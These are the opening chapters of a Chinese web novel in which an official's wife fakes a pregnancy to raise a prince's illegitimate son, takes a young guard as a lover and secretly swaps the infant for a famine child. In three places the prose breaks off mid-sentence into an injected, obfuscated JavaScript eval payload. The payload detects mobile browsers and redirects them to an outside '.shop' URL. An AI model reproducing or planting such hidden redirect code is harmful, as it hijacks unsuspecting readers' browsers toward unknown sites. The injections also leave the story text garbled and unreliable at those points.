《落草为寇,但登基了》 1. 玩儿什么呢? 【赵蓉】 赵蓉这段日子喜事儿多,她相公高琰升官了,从晏江省布政使,升到了晏江省巡抚、右都察院御史,还因善用良将,退敌有功,并总督晏江、靖江两省军务,是实打实正二品的封疆大吏,她跟着得了个诰命。 自从得了这个诰命,抚州城里大小官员夫人们的席面都得叫上她,众星拱月的奉承她。 赵蓉本就是官家小姐,这些个往来酬酢她还是手到擒来的。 她祖父就是以阁员之身,吏部尚书职告老还乡的,像他这种能把官儿当到老,没被治过罪,没被打过廷杖,退下后还能不被清算的,在大渊朝建国后的这二百多年里,可谓屈指可数。 赵阁老是个人精,教出来的嫡孙女儿也不遑多让。 人都道她命好,运也好,门第高长得好,会持家还旺夫。 她待字闺中时祖父还在京城做官,她得祖父教导,懂礼仪通文墨,琴棋书画样样拔尖儿,会算账会管家,贤德貌美之名响彻京城。 说亲的人多得快踏平了赵家的门槛儿。 京中凡是有她出席的雅集聚会,那些个官家娘子的眼睛全放她身上,都想把赵阁老家的小姐娶进门。 那时的高琰刚中进士,还在翰林院修书,朝廷官场有个众人皆知却不能明说的风气,想要仕途亨通就得拜个好门庭,跟个好老师。赵阁老府上的拜帖若是摞起来有三四层楼那么高,其中他略眼看过的,不过十几本,而能让他从头到尾看全的,只有高琰递来的那一本。 那工整漂亮的字迹所书不仅有对赵阁老的崇敬之意,更有着意气风发、满腔热血的治国策论,这让他想起了殿试阅卷时的场景,高琰的文章是他呈给圣上,圣上亲笔评的一甲。赵阁老合上那拜帖,闭目捋了捋垂至胸前的胡须,也一并记起了探花郎的样貌。 他说此子前途无量,接着堂堂吏部尚书,干了回榜下捉婿。 赵蓉下嫁给了当时只是翰林院编修的高琰,她在祖父府上见过高琰几次,未出阁的姑娘是不能盯着男子的脸多看的,她忍着心下的悸动,规规矩矩的行礼,又不住的偷看。 脸不敢多看,于是便记住了那身着蓝色官袍的背影。 赵阁老府上每日有不少官员、书生进出,文官多少都带着些书卷气,文文弱弱之乎者也的,年纪轻的都偏纤细瘦弱,像高琰那样高大,肩膀那样宽的属实少见。她原先害怕嫁人,现在却盼着嫁给他。 洞房花烛夜她羞得低着头,更不敢去看高琰了,晨起时她躺在床上,用被盖过头顶,指尖还存着年轻人肌肤的触感,温热厚实,光滑还弹手。赵蓉左右手交叠揉了揉,忍不住笑出了声。 她是什么时候才敢去仔细看夫君脸的呢?大概是成婚一个月之后吧。 一个朝廷命官,一个大家闺秀,把克己复礼相敬如宾演绎到了极致。赵蓉自小学的诗书规矩,是不让她去争去讨的,贤良淑德就该是沉静的,纯洁的。他的夫君亦是如此,无时无刻都规矩,该做的事一样不落,不该做的事绝对不做,得体却不亲密。赵蓉觉得她是被尊敬着的,婚姻应该都是这样的,尤其是像他们这样的夫妻。 可她还是期盼着夫君能对她再热烈些,毕竟是新婚,又都年轻。 她尝试着主动的妩媚些,换来的却是高琰冰冰凉的一句:“夫人不必如此委屈自己,学这些讨好下作的伎俩与身份不符。” 是吗? 她登时满脸通红,恨不得找条地缝钻进去。 那晚他们还是做了,他们从不点灯,赵蓉扶着高琰的肩膀,却看不清他的容貌,她试着去摸高琰的脸,指尖触到额前时,摸到了细密的汗,身上的人是热的,明明贴的那么近,却调动不起赵蓉的热度。 因为高琰的心是凉的,所以她的身子也凉了。 例行公事,结束后各自盖被睡去,谁也别委屈自己,谁也别讨好下作。朝廷命官和大家闺秀一起存天理灭人欲,挺公平,该的。 赵蓉生下儿子后,他们的任务也算完成了,省了每月的例行公事,彻底分了房。 后来高琰调任去了抚州,家眷们就和他一起去了抚州。那个位处泯江南岸的鱼米之乡,富贵风月之地。 高琰平日公务繁忙,回后院的日子少,夜里总睡在书房,赵蓉知道他是心高有抱负的能人,祖父的眼光一向都是好的。 果然,高琰的官越当越大,儿子今年才六岁,他就已经是二品大员了。赵蓉对镜梳妆,觉得自己老了些,她摘掉发簪散下头发,又觉得自己和在闺中时没怎么变。 高承翊趴在她的腿上仰头笑眯眯的看着她,儿子和高琰长得很像,周正俊朗,小小年纪鼻梁就又高又直的,眼睛也好看,嘴巴倒是像她,脸型偏窄,皮肤白,比高琰秀气些。他把父亲当做目标,板着脸的时候像个威风的小大人,说起话来也老成。 “等我长大了也要当总督,和爹爹一样,去前线打水寇。保家卫国,才是好儿郎。” 赵蓉被他逗乐了,低下头笑着抚摸他的额发。 高承翊就一眨不眨的瞧着她,小小的手缠上她的发尾,用食指打着圈儿说:“娘亲是天底下最好看的娘亲。” “是吗?” 高承翊重重的点头,他很欢喜,他的父亲高大威猛,他的母亲美貌端庄,如此的相配。 既然是天底下最好看的娘亲,为什么你父亲却不愿多看几眼呢? 在这些年的日子里,赵蓉逐渐说服了自己,高琰就是这样淡漠的人,他只在乎公务、政绩,他心里装的是天下万民,想的是忠君社稷,人总不可能完美,世上能给妻子挣个诰命回来的夫君,还是少的,她该满意。 她这么想着,自己都快信了。 直到那晚—— 江南是很少下雪的,可冬日却并不暖和,湿冷得很。那几日又刮风,裹着棉衣都觉得湿气往骨头里钻。 天黑前落了冻雨,吃过晚饭,居然飘起了雪。 赵蓉在暖阁里听儿子背书,高承翊完完整整背了一大段,末了就扑进她怀里撒娇,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101014|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪虽小,可心思却又多又密,说冀州老家送过几张狐皮,他床上已经垫了,睡着果然比棉絮暖和。 “今夜下雪母亲何不给父亲送去一件?” 赵蓉不想出门,高琰的书房在前院的最边上,地方偏得很,从她这儿走过去,得一刻钟,走回来又得一刻钟,挺累的,外头又冷。 可又不想让儿子察觉她和高琰并不亲密。只好说父亲没那么早睡,等迟一些再去。 高承翊回自己屋休息前还不忘这事儿,又跟她说了一遍。 赵蓉做了会儿绣活,约摸着已经亥时了,外头的风还没有歇,是要刮一整夜的架势。 她在炭盆前走了两圈,终究还是披上大氅吩咐侍女从库房里拿了床皮子,主仆二人往前院的书房去了。 恰好雪停,她瞧见院子里薄薄的积雪,想起了京城的冬雪。她少时在家,想过很多关于未来夫君,关于婚后的事,那时想的和如今经历的,丝毫不沾边儿。 她才二十多岁,过着像六十岁人一样的日子。看上去有丈夫有儿子,只有她自己明白,这座气派的总督署,是她的尼姑庵。 江南的风月情浓,只属于为官的男人,和她一点关系都没有。 她瞄了眼侍女捧着的狐皮:“算了,你回去歇着吧。” “夫人不给总督送皮子了吗?” 赵蓉心想:怎么不冻死他呢。 面儿上找补道:“夜深了,明日再送去吧。暖阁的碳烧的旺,用不着皮子。” 侍女退下了,赵蓉呼出口热气,难得的想走走,看看雪。 她并没地方去,顺着廊子走,突然生出了想去看看高琰在不在书房的心思。 她一直憋着一口气,你不在乎我,我也不会多看你一眼,谁缺了谁不行呢?可多少又存着些试图修复两人关系的心思。 她不想一辈子都这样,可圣贤书没教过她怎么抓住夫君的心。 或许是儿子那句她是天底下最好看的娘亲,给了她一些自信,赵蓉顺了顺耳侧的头发,纠结的缓慢地,往高琰的书房走去。 可能是天真的太冷了,门口连值守的下人都没有。 不过,也有可能是知道动静大,故意把人支开的。 她才到廊下,就听见了交叠着的厚重喘息。 男人的声音带着些哭腔,说出的话零散不成句,却更显密密麻麻的粘腻,千娇百媚地哭诉着:“中丞大人…” 她觉得江南的冬天湿冷,中丞大人应该是不觉的。一门之隔,里头热火朝天,门外的她,吹着北风,一时间竟觉得浑身的血都被这风冻住了。 若中丞怜惜些,他便会清醒些,会记得要压低声音,不能太放浪。 可中丞大人没有停下。 好像又开始下雪了,混着风淋在赵蓉身上,刮乱了她刚理顺的鬓发。 她挺好奇的,玩儿什么呢? 她那个死板不苟言笑的夫君,这么会玩吗? 一时竟不知是无奈多些,还是恨多些。 2. 好姐姐 她听了很久,高琰和她在一起时不会这么长,也不会发出任何声音,可她现在隔着门都能听见里头上位者发出的厚重叹息和那肌肤相贴时的碰砸声,骨头都要撞烂了吧。 赵蓉转身抬起头,任由那风拍在她脸上,雪天为什么会这么安静?安静到她能听清里头调情的话。 一省巡抚并两省总督,挂兵部尚书职的朝廷命官,被百姓视作倚仗,驱逐水寇的大英雄,如今在床上压着另一个男人,说着她无法想象的粗鄙之语。 赵蓉头晕脑胀还腿软,记不清是怎么回的屋。 后来她跟高琰说她想和离。 高琰淡淡道:“不行。” “祖父已经告老还乡了,我父亲虽是京官,却不得重用只是个闲职,我对你已经没有助力了,我想回冀州,或许能再嫁个白丁。” 她觉得当官的太虚伪了。 高琰从公文中抬头:“你若非要走,我也拦不住。” 高琰知道她说再嫁个白丁,是在讽他,嫁个白丁都比跟着他强,于是嗤笑了声:“翊儿呢?他跟着我是总督家的公子,你可以不要诰命,改嫁白丁,他也跟着你去当白丁之子?” 前程、仕途、助力、眼界,儿子需要一个高官当父亲。 “你被阁老养的天真。” 赵蓉冲上去打了高琰一个耳光,她揪着高琰的衣服,牙咬切齿却忍住了眼泪,她不想在高琰面前示弱。 她教养太好了,连骂人的脏话都不会说。 此后她没再提过和离,也没再单独跟高琰说过话。 两人心照不宣的在儿子和外人面前扮演恩爱夫妻,那个曾经名动京城的大家闺秀,夜里对镜自揽,照见的是满腹怨恨。 她没想过高琰会主动找自己,他居然会有‘有求于她‘的这一天,还是那么荒唐的事。 他要帮燕王养私生子,还要神不知鬼不觉的帮燕王养私生子。 如何做到神不知鬼不觉? 孩子当然是从赵蓉的肚子里‘生‘出来最能掩人耳目。 “你明日回翼州乡下的庄子,装作养胎待产,等王妃诞下小王爷交予你后,你再回来。” “王妃?”赵蓉道,“哼,你们管外室妓子叫王妃?” 不做他想,定是这位王爷下江南玩乐,让某个女子怀了孕。 她知道江南有一种女子叫‘瘦马’。 她们打小就被老鸨买去,花高价用名门小姐的规制教养着,极品的瘦马诗书才情不比小柳河的名妓们差。 且是专为高官、富商们准备的,不接客,未出阁前,都是干干净净的雏儿。 高琰道:“她是外室还是妓女都跟我没关系,但现在她肚子里怀的是燕王殿下的孩子,我就必须称她为王妃。” “是王妃就接进王府,是王子就该当王子养着。”赵蓉不以为意,“您多大面子?让小王爷,小公主管你叫爹?” “旨意如此,我只能照办。”高琰道。 “你什么时候投身的燕王?你现在只是挂了个兵部尚书的衔,还没进京,没入阁呢。”赵蓉冷笑着瞧他,“我看你们这些为官的和小柳河边船上卖的也没什么区别。权贵招招手,你们就贴上去,他们为钱,你们为前程,上赶着被人用。一丘之貉,所以才能躺在一张床上。” 她查了那晚的男人,是小柳河上的小唱。 得了总督大人青眼,给赎了身,买了小院儿养着,平日里总督大人常去他院儿里,忙起来没空了,可心里惦念着,就用一顶小轿,从偏门抬进书房,给总督大人研墨暖床。 前院都是高琰的长随、小厮,赵蓉一点儿都不知情。 从她那次提出和离时,高琰就猜到是她知道了。 这话一出口,更是清楚明了。 他也不恼,只道:“你该明白,人活在世,就是用人和为人所用,太栉国水寇乱我晏江沿海,我出兵抗击,打了胜仗,于国于民有用处,才有我今日总督之职。阁老还乡,我在京中没了倚仗,我的奏疏进言就没法传到御前,届时有功无人为我请赏,多年耕耘恐为他人做嫁衣,最后落个革职下狱的也不少见。官场艰难,我想为百姓,为社稷做些事,若那些你都不管,也需想想翊儿,他将来也要入朝为官,想必这个道理,你还是懂的吧?” 女人总是会为了孩子妥协,但走前赵蓉找人给高琰养的小男人下了毒。 那是她微弱的反抗,也是她堕落的开始。 她知道她不该迁怒一个罪不至死的人,都是讨口饭吃,若非无路可走,又有谁愿意为娼妓,卖皮肉呢。 可她恨透了这世道,恨透了不爱她却娶了她的高琰。 她和高琰是说不到一块去的,他精于利与用,考虑的是取舍、高低,可赵蓉困于爱恨。 对,你为官造福一方百姓,要做流芳青史的贤臣,你知人善用,勤政爱民,体恤下属,还骁勇善战,聪明绝顶,还善于钻营,懂得攀附。 你似乎对谁都很好,满口的圣贤之言,为官之责。 可为什么只薄我? 我当时是那样的满心欢喜嫁与你,我为你持家为你生子,我的祖父、父亲也在为你谋划。我以身就你,结发为夫妻,把你当成要扶持一生,生同衾死同穴的人。 你却口口声声有用、无用,天真、明白。 到底是谁错了? 赵蓉还是去了冀州,一个人以探亲为由,途中有放出怀有身孕的消息。 燕王那边派人保护着她,而那位怀有身孕的‘王妃’,也被秘密接到了冀州待产。 赵蓉没见过那女人,她在乡下庄子里,每日换着燕王那边的嬷嬷给她准备的假肚子。 还有几个派来保护她的侍卫,和家丁一起,守着庄子,来回巡逻。 这农庄很大,有不少佃户,田间地头风景挺好的,赵蓉喜欢一个人走动,吹吹风。 嬷嬷不放心,总要跟着。她闹了几次脾气,嬷嬷不敢再跟太紧,就吩咐了侍卫远远的看着。 那小侍卫不过十八九,不远不近的跟着,有山有树遮掩的时候他就躲在山后边,树后边,没东西遮掩的时候,赵蓉回头看他,他就龇牙挠头,尴尬的嘿嘿笑。 他晒得有些黑,笑起来眼睛眯着,赵蓉远远光瞧见一口大白牙。 赵蓉转过身,忍不住也笑到肩膀颤抖。 后来她便有意往没人的地方走,然后坐下,跟那小侍卫说话。 小侍卫名叫沈驰,是京城人,家里有荫袭的军职,他爹还是锦衣卫千户,他是去年才进王府当的侍卫。 赵蓉其实没怎么问,就说了两句话,这小玩意儿蹲着自报家门,夸夸说了半天。 赵蓉问:“你就不好奇,为什么燕王会派你们这些近卫,来冀州这样的乡下农庄,保护我一个妇人吗?” 沈驰摇摇头:“我爹说,当差最不能问为什么,主子让干嘛,干就成了。” 这小东西凑近看,规规整整,别提多精神了。猿臂蜂腰螳螂腿。 “我瞧你这样,能当锦衣卫。” 沈驰高兴地跳起来:“真的吗?” 赵蓉点头,也对他笑:“嗯。” 她这一笑,傻小子竟然红了脸,说话都结巴起来,手没地儿放,藏在身后不住的发抖。 穷乡僻壤的,天黑得早,星星却亮。 那是沈驰的第一次,他迷迷糊糊的,越是靠近,越是控制不住的想去抱紧赵蓉,越是抱紧越是能闻到赵蓉身上淡淡的香气。 她的发丝又软又滑,垂在肩头,眼神带着些幽怨的魅惑。 沈驰想,他完了,他当差不仅知道了差事的始末,还和他要保护的命妇,在粮仓后的草垛里,滚在了一起。 赵蓉听他从喉中低低的喊出一声声的:“好姐姐…” 头一次知道,自己也能热成这样。 她以前也想过,高琰为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈驰打开婴儿的包被,大多数刚出生的小孩都皱巴巴的,很难看,可这孩子却生的粉嫩,这才不到半月,眼睛就睁得很大,能看出是双眼皮,睫毛又密又长,能吃能睡,稍微一逗就会发笑。 很少哭闹,赵蓉解开婴儿的衣裳,他都没醒。 “燕王妃是皇后的侄女儿,据说为人强悍,眼里容不得沙子,料想不会对一个外室所生的儿子尽心。” 沈驰点头:“府中这几年已经夭折了三个孩子了,世子又被养的娇纵,才四岁,胖得看不见脖子。” 赵蓉将婴儿右腰上的印记露出:“这记号抱来时身上就有。” “金色的龙鳞。”沈驰道,“是刺青。” 这位小王爷,浑身上下只有这指甲盖大小的一块地方,能证明他是皇家血脉,龙子龙孙。 “信上说,王爷给取了濯衡二字为名,取自濯洗清明,量取持衡之意,”赵蓉道。 “姓高吗?” “嗯。”赵蓉道,“虽是王子,但他母亲身份低微,燕王也并非太子,想来上位是和他没什么关系的。待哪日王爷想起他,再接回去认祖归宗吧。” 孩子是不放心给母亲放在民间养的,又不能接进王府,自然是放在仰仗着他的心腹大臣那最安全。更何况高家夫妻都是读书人,书香世家的闺秀比起供给男人玩乐的瘦马,肯定更会教养孩子。 赵蓉在冀州一待就是大半年,这可想死了在抚州的高承翊,他三番四次要跟去冀州见母亲,只可惜年纪太小,父亲不让,他就去不了。 高琰告诉他,母亲肚子里有了小弟弟,他平日最是顽皮,冲撞了母亲,会伤着小弟弟。 高承翊听完立马不闹了,回屋后伺候的侍女和老嬷嬷故意逗他撺掇他说,有了弟弟,总督和夫人就只喜欢弟弟,不喜欢他了。 高承翊翻箱倒柜的把他藏的那些小玩意儿,木剑,木马全拿了出来,兴高采烈的说:“我也喜欢小弟弟!” 高承翊从那天起,盼星星,盼月亮,盼弟弟。 3. 别让他碰你 总督夫人回府,王府的侍卫们便扮作家丁护送,从冀州下江南,女眷带着孩子走得慢,花了一个多月,途中路过正受了旱灾的尉州。 他们停靠在路边茶摊修整时,正看见有人卖孩子。 大的小的一排站着,全都面黄肌瘦,更有一个女人,怀里抱着个婴儿。 赵蓉坐在马车里没下车,沈驰端了碗茶进了马车:“将就些,只有糙茶。” 赵蓉收回挑着窗帘的手,去接了沈驰递给她的茶喝了一口,这水味道不好,她闻着有些犯恶心,便又给他递了回去:“我看这山上连草和树都没了。” “五月中就没下过雨了,苗全旱死了。”沈驰道。 赵蓉问:“朝廷没来赈灾吗?” 沈驰摇摇头:“按道理,肯定是要赈的。或许,还在路上…” 赵蓉又掀开帘子问:“他们是在卖人吗?” 身旁的婢女答道:“奴婢刚刚去问了,就是在卖人呢。也没个中间人作保,这些半大孩子瞧着又瘦,别是有什么病,活不长的。” 买卖仆人是十分常见的,但必须要有个靠谱的保人,否则买到逃犯就糟了,赵蓉还听说过,有关外来的细作,混在流民里,又偷了别人的户籍,有人家买去家里厨房烧火,给一家子下毒,全死了。 府上她当家,在买卖奴仆这方面,她总是要亲眼看过,再三确定后,才敢放进府中的。 沈驰倒是不太清楚这些:“把自己卖了,能值几个钱?” “一袋米。”婢女答道,“还是给家里人的,他们跟着主人家,至少不会饿死。” 说着,便见有个衣衫褴褛的中年男人,引着一个抱着孩子的老妇人,走了过来。 那两人都是面黄肌瘦,脚步虚浮,一看就是很长时间没有吃饱饭,离饿死就差临门一脚了。他们往抱着婴儿的女人那走去,越走得近,那女人就将怀里的婴儿抱得越紧。 赵蓉听见了孩子的哭声,很小,也是有气无力的。 老妇和男人走到女人面前后,老妇人看了看女人怀中的婴儿,接着便把自己怀中的婴儿交给了男人,而男人也示意抱着孩子的女人,把怀中的孩子,给老妇人。 女人突地站起,抱着孩子往后退。 “娃她娘,把娃给她。” 女人摇头。 “给了吧,不给也是要饿死。”男人劝道,却忍不住落泪,“你一滴奶水都没了。” 女人摇晃着小声哭泣的孩子,试图哄他不哭。 “娃她娘!”男人催促着,“给家里大宝换顿肉吧。”他只单手就能抱住那老妇人给他的小孩,想来那孩子是很小很小的,并伸出另一只手,想让女人把孩子给他。 女人几乎是嘶吼出的声,她的嗓子干涩,早就饿得没力气说话了,可让一个母亲,交出自己尚在襁褓的孩子,她拼尽全力,也要反抗。 赵蓉惊诧于一个瘦弱矮小的女人能发出如此嘶哑干涩的声音,就像一具早已风干的尸体开口说话了一样,她说:“她那个已经死了,我的二宝还活着!” 赵蓉恍然察觉,她眼眶中立刻涌出泪来,要掀帘子下车。 沈驰用长臂将她拦住:“夫人!夫人不能下车!暴民无理,恐哄抢财物,伤了夫人和小公子。” “他们是在易子而食对吗?”她问道。 沈驰沉默片刻后,微微点头。 “你…你快去将那孩子抱来我车上。”她也是母亲,她见不得这种事,光想想就心碎,却不料今日亲眼所见。 她生在京城,嫁人后常住抚州,都是一等一的平安富贵地界,从不相信如今盛世下居然真的有易子而食的事。 赵蓉买下了这个孩子,还让人将车上的食物分给了难民,给了女人家两袋米,两斤面,仔细问了名字,和家住的村子。 夜里沈驰告诉他,朝廷从晏江调粮赈灾,粮船已经出发了,想来那家人是不会饿死的。 “我们将这孩子还回去吧?” 此时已经是下半夜了,他在随侍们都睡下后,才偷溜进的赵蓉卧房。 赵蓉把两个孩子放在一起:“你瞧,这孩子已经八个月了,和三个月的小王爷,居然一样长。身上还有些肉,他母亲说三日前,吸出的就不是奶水,是血了。朝廷的赈灾粥喝一碗下去,能出奶水吗?” 沈驰不再说话。 “其实可以放一起养,当个玩伴,将来还能互相照应。”赵蓉道,“王子王孙不都有个大伴儿吗?” “大伴儿也没有同岁的啊。”沈驰说完,想到两个小娃娃,天真烂漫手牵手一起长大的场景,居然笑了出来,“好像,也不错。” 马车又走了几日,眼看明日就要渡泯江了,渡了江,走得再慢,两日也要到抚州。 越是离得近,赵蓉就越难受,她觉得哪儿都不舒服,不对劲儿,她很焦躁,因为入了府,以后便再难见到沈驰了,她又要回到她的监牢里去了。 夜里她抱着沈驰不肯撒手,她觉得自己像一个老妖精在吸食沈驰年轻的精血。 越这么想她越是难受,缩在沈驰怀里,眼泪止不住的流。 “我想好了,我要去隆州。” 赵蓉用泪眼看他。 “那里离鞑子近,每年都在打仗,有军功能升得快些。” “傻子,你不当锦衣卫了?” “锦衣卫都是权贵子弟,我那家室,不够看,进不了御前,混个几十年,最多也就跟我爹一样,当个千户。”沈驰道。 “想着升官儿?”赵蓉道,“在王府,当近卫不是更好?” “王爷不是太子,他现今是还未就藩,留在京城,又南巡政务,颇受器重,可总要去就藩的,即使封地离京城很近,可他当不了皇帝。” 这是亲密之人在被窝里的大逆不道之言,赵蓉伸手轻轻地盖上了沈驰的嘴:“胡说什么呢。” 沈驰牵着她的手,咬住了她的手指,舌头在指尖打转,吻到掌心落了个牙印儿:“我要军功,升了官,来娶你。” 赵蓉哭得下巴都在抖。 “我说真的,姐姐,我是认真的。”他拭着赵蓉怎么都擦不干的泪,“别让他碰你,跟他说清楚,迟早要和离。” “他不呢?” 沈驰道:“那咱们就休夫!” 赵蓉哭着笑了出来:“好,休了他!” 就在他们要入城的前一晚,小王爷突起了高烧,襁褓里的小王爷艰难的透着气,赵蓉忙叫人去请大夫,大夫的马车才走到半路,又有人来拦着说不用去了,已经另有离得近的大夫到了,小公子喝了药已经好了。 而驿站的卧房里,襁褓中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101016|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小王爷,脸色青紫,已然没了呼吸。 在场三人,赵蓉、沈驰,还有那位王府派来的嬷嬷。 那嬷嬷已经吓得瘫在地上了,小王爷死了,她的差事黄了,她回去王府,若王爷发善心,她或许还能保住条命,被打发去农庄干粗活,若是王爷大发雷霆,她必定也会被打得半死。 让人找说辞打发了大夫的是沈驰,他遇事算比较冷静:“高热惊厥,又突起哮症,或许这孩子本就先天不足。” 赵蓉则抱起了她在灾民那买来的男婴,问沈驰:“你会刺青吗?” 这是暗卫的本事,他会画像,会听记,有些探子们为了证实身份,身上会刺上纹样。 “我会,可…不行吧…” 呆愣在地上的中年女人突然‘复活’了,她膝行上前:“沈侍卫,咱们不干更得死啊!” 沈驰看向赵蓉,赵蓉也点了点头:“孩子被抱来我这里,王府并未再派人来查看,小婴儿一个月就会变样子,他身上唯一的标记,就是腰侧的龙鳞刺青。” “那明日怎么解释少了一个孩子?”他们随行的有十几人。 赵蓉道:“这不难,就说抚州的庄子里来了人,给带去养了。没人会多打听的,这…半个月,不,一个月,我和嬷嬷亲自照料,不假人手,不会被发现。” 她说这些话时十分平静,不止情绪,连心都是静的。 连日来的难受、焦躁,似乎都停止了。小王爷死了,她搞砸了高琰让她办的事。 她突然明白,这对于她来说是一种私密的报复,这报复让她觉得痛快。 刺青时,孩子一直在哭,沈驰仔细又看了那龙鳞,他本就过目不忘,此时一笔一笔刺得仔细,本该一模一样的,可他却有意多点了一笔。 这一笔,如今不明显,可随着人体生长,长大后,若再用原版对比,就能看出不同。 可这‘原版’到时已经烂成土了,沈驰说不清他为什么要这么做,但他确实就这么做了。 小王爷的尸体是嬷嬷去处理的,原本赵蓉打算让沈驰刺完后,再将孩子拿去山上埋了,可嬷嬷害怕,她巴不得赶快把这‘东西’扔了,扔得越远越好。 沈驰的刺青还要再做些时辰,她便抱着小王爷的尸/体,盖上斗篷,偷偷出了门。 可她不知道,就在她一路小跑,跑动时引起的震动颠簸,居然让包被里憋过气儿的‘小王爷’缓过了那口气,恢复了微弱的呼吸。她怕死/尸,根本不敢打开看。 好在她也懒,没打算挖坑埋。 她顺着河走,心里还在抱怨。 这总督夫人也不知道什么毛病,都到城门口了,还非得在驿站住一晚,明早再回府。 虽说这抚州城大,可若她们马车不停,亥时前也能到总督署了。 其实就算马车不停,‘小王爷’发病,也还是会‘死’在马车上。 这地方虽不是抚州城里,确是抚州地界,并非荒郊野岭,本朝夜间没有宵禁,不过这地方不热闹,沿街的商户早早就关了门,人户的院子也都熄了灯。 月亮还挺亮,她不敢走太远,看着四下无人,把孩子放下后,撒腿就往回跑。 一口气冲到驿站门口,心都快从嗓子眼儿里蹦出来了。 她站定了半晌,汗散了才敢进驿站。 4. 夏辛 翌日下午,一行人到了府中,高琰抱过孩子,避开众人同赵蓉进了后房,他打开包被,看见了龙鳞印记。 孩子皮肤娇嫩,即使沈驰如何仔细小心,都无法避免皮肤会略微红肿。 “脸上看着还行,身上怎么这么瘦?”高琰狐疑的看向赵蓉,他用手指蹭了蹭那龙鳞,孩子像是疼了,小声哼唧起来。 赵蓉立马给抱来怀里哄着,她晃着手臂:“才生下来就受奔波,身上还刺了这劳什子,孩子肉嫩,红一直不退,疼得晚上都在哭,奶也吃得少。” 她把孩子贴近自己的脸:“好乖乖,不哭了…不哭了…” 高琰做官的人,没带过孩子,赵蓉又说的毫无破绽,高琰便一时也被她的话唬住,没再多问。 他心里也明白,若那燕王往后子嗣繁茂,必定是想不起一个母亲出身如此卑贱的孩子,恐怕这小孩儿真要一直给他当儿子了。 故而虽心里有些存疑,可没继续深究,只要有个男孩子,身上有那片鳞,放在府中好好养着,这边就算是差事办下来了。 他们俩话还未说完,外间就传来一阵由远及近,急促细密的脚步声,七岁的高承翊边跑还边叫着:“娘亲娘亲!是小弟弟在哭吗?” 高琰赵蓉双双回头,高承翊已然跑到了面前,他先是抱住了赵蓉的腿,然后抬起头:“娘亲,翊儿好想你!快给我看看小弟弟。” 赵蓉弯下身,把孩子放在早准备好的小木床上,又搬来把椅子,高承翊手脚利索的爬上椅子,半个身子撑在床边,弯腰探身去瞧木围栏里的小婴儿。 他人小鬼大的摘掉婴儿的帽子,仔仔细细检查耳朵,手指,甚至去掀了被子,要解衣服。 “翊儿。”赵蓉叫停,“你干什么?” 高承翊回头,认真的说:“嬷嬷说小婴儿都长一个样儿,有专门偷小孩儿的妖怪,所以小婴儿一定要和母亲睡在一起。” 这大概是他总说「要弟弟,娘亲怎么还没到家,娘亲的马车怎么这么慢」时,嬷嬷哄他瞎编的故事。 意思是宽慰他,让他明白新生儿需要母亲呵护。 可高承翊心思重,他总能发散出一些,不属于他这个年纪孩子的深渡思考。 “我得看仔细。”他像是在做一件极其重要的事,“就算是妖怪,也不能偷换走我的弟弟,我认得清楚呢!” 赵蓉有些庆幸,幸好翊儿第一眼看到的是这个弟弟。 “衡儿。”他小声唤着,轻拍着孩子的胸口,“好二宝,不哭了,等你长大了,大哥带你出去看庙会,买糖人儿。” 赵蓉问:“你叫他什么?” “二宝!”高承翊说的响亮且得意。 高琰道:“是翊儿给孩子取的小名,家里…排老二。” 他后句话说的心虚,这是你家老二吗? 赵蓉心道,世上还真是很多巧合,高承翊二宝二宝的叫着,这二宝真的不哭了。 高濯衡六岁到了开蒙读书的年纪,家里要给他找个年纪差不多的伴读。 其一是有这种风气,找个相貌端正,敦厚老实的良家子,陪着小少爷长大,这样的仆从最是忠厚,主仆情谊也深。 若是挑到个好的,将来能办事,能帮衬。 其二是,高承翊太宠着弟弟了,赵蓉因为高琰养小唱的事心怀芥蒂,她私心里不希望自家儿子和高濯衡太亲密。 她想得太多,甚至问过伺候的人,翊儿和衡儿是不是太亲近了? 奶妈和高琰都告诉她,因为二宝很听话。 高承翊是有些霸道独裁的,高琰说他是年纪小,官儿瘾大,比他这个总督还管的宽。 爱管事,爱揽事,喜欢做主。 恰好弟弟巨软无比,除了撒娇要糖要抱,其余哥哥说啥是啥。 他太听话了,无论委屈成什么样,只要高承翊说一句:“二宝不许哭了。” 他也不问缘由,真的能立马忍住不哭。 孩子又本能的会粘着对他好的人,高琰忙着政务和沿海战线,一年回不了后院儿几趟,奶妈婆子那些是尽本分做事,虽是用心的,可再用心也比不过他这个做大哥的。 至于赵蓉,是连高承翊都能看得出的疏离。 孩子虽小,说是不懂事,可对这方面都有察觉,所以他更粘哥哥,也更听哥哥的话。 反之亦然,他越是听话,哥哥就越心疼,越喜欢他。 高承翊私下拐着弯儿问过赵蓉几次。 “二宝在哭呢,娘亲去哄哄他吧。” “二宝这么小,还是和娘亲睡一起好呢。” “娘亲,今日是二宝的生辰,孩儿昨日还提醒过您。” 赵蓉没有正面回答过,高承翊不好再多问,只又一味地更加宠弟弟,好似要把父母的份儿,一起补上。 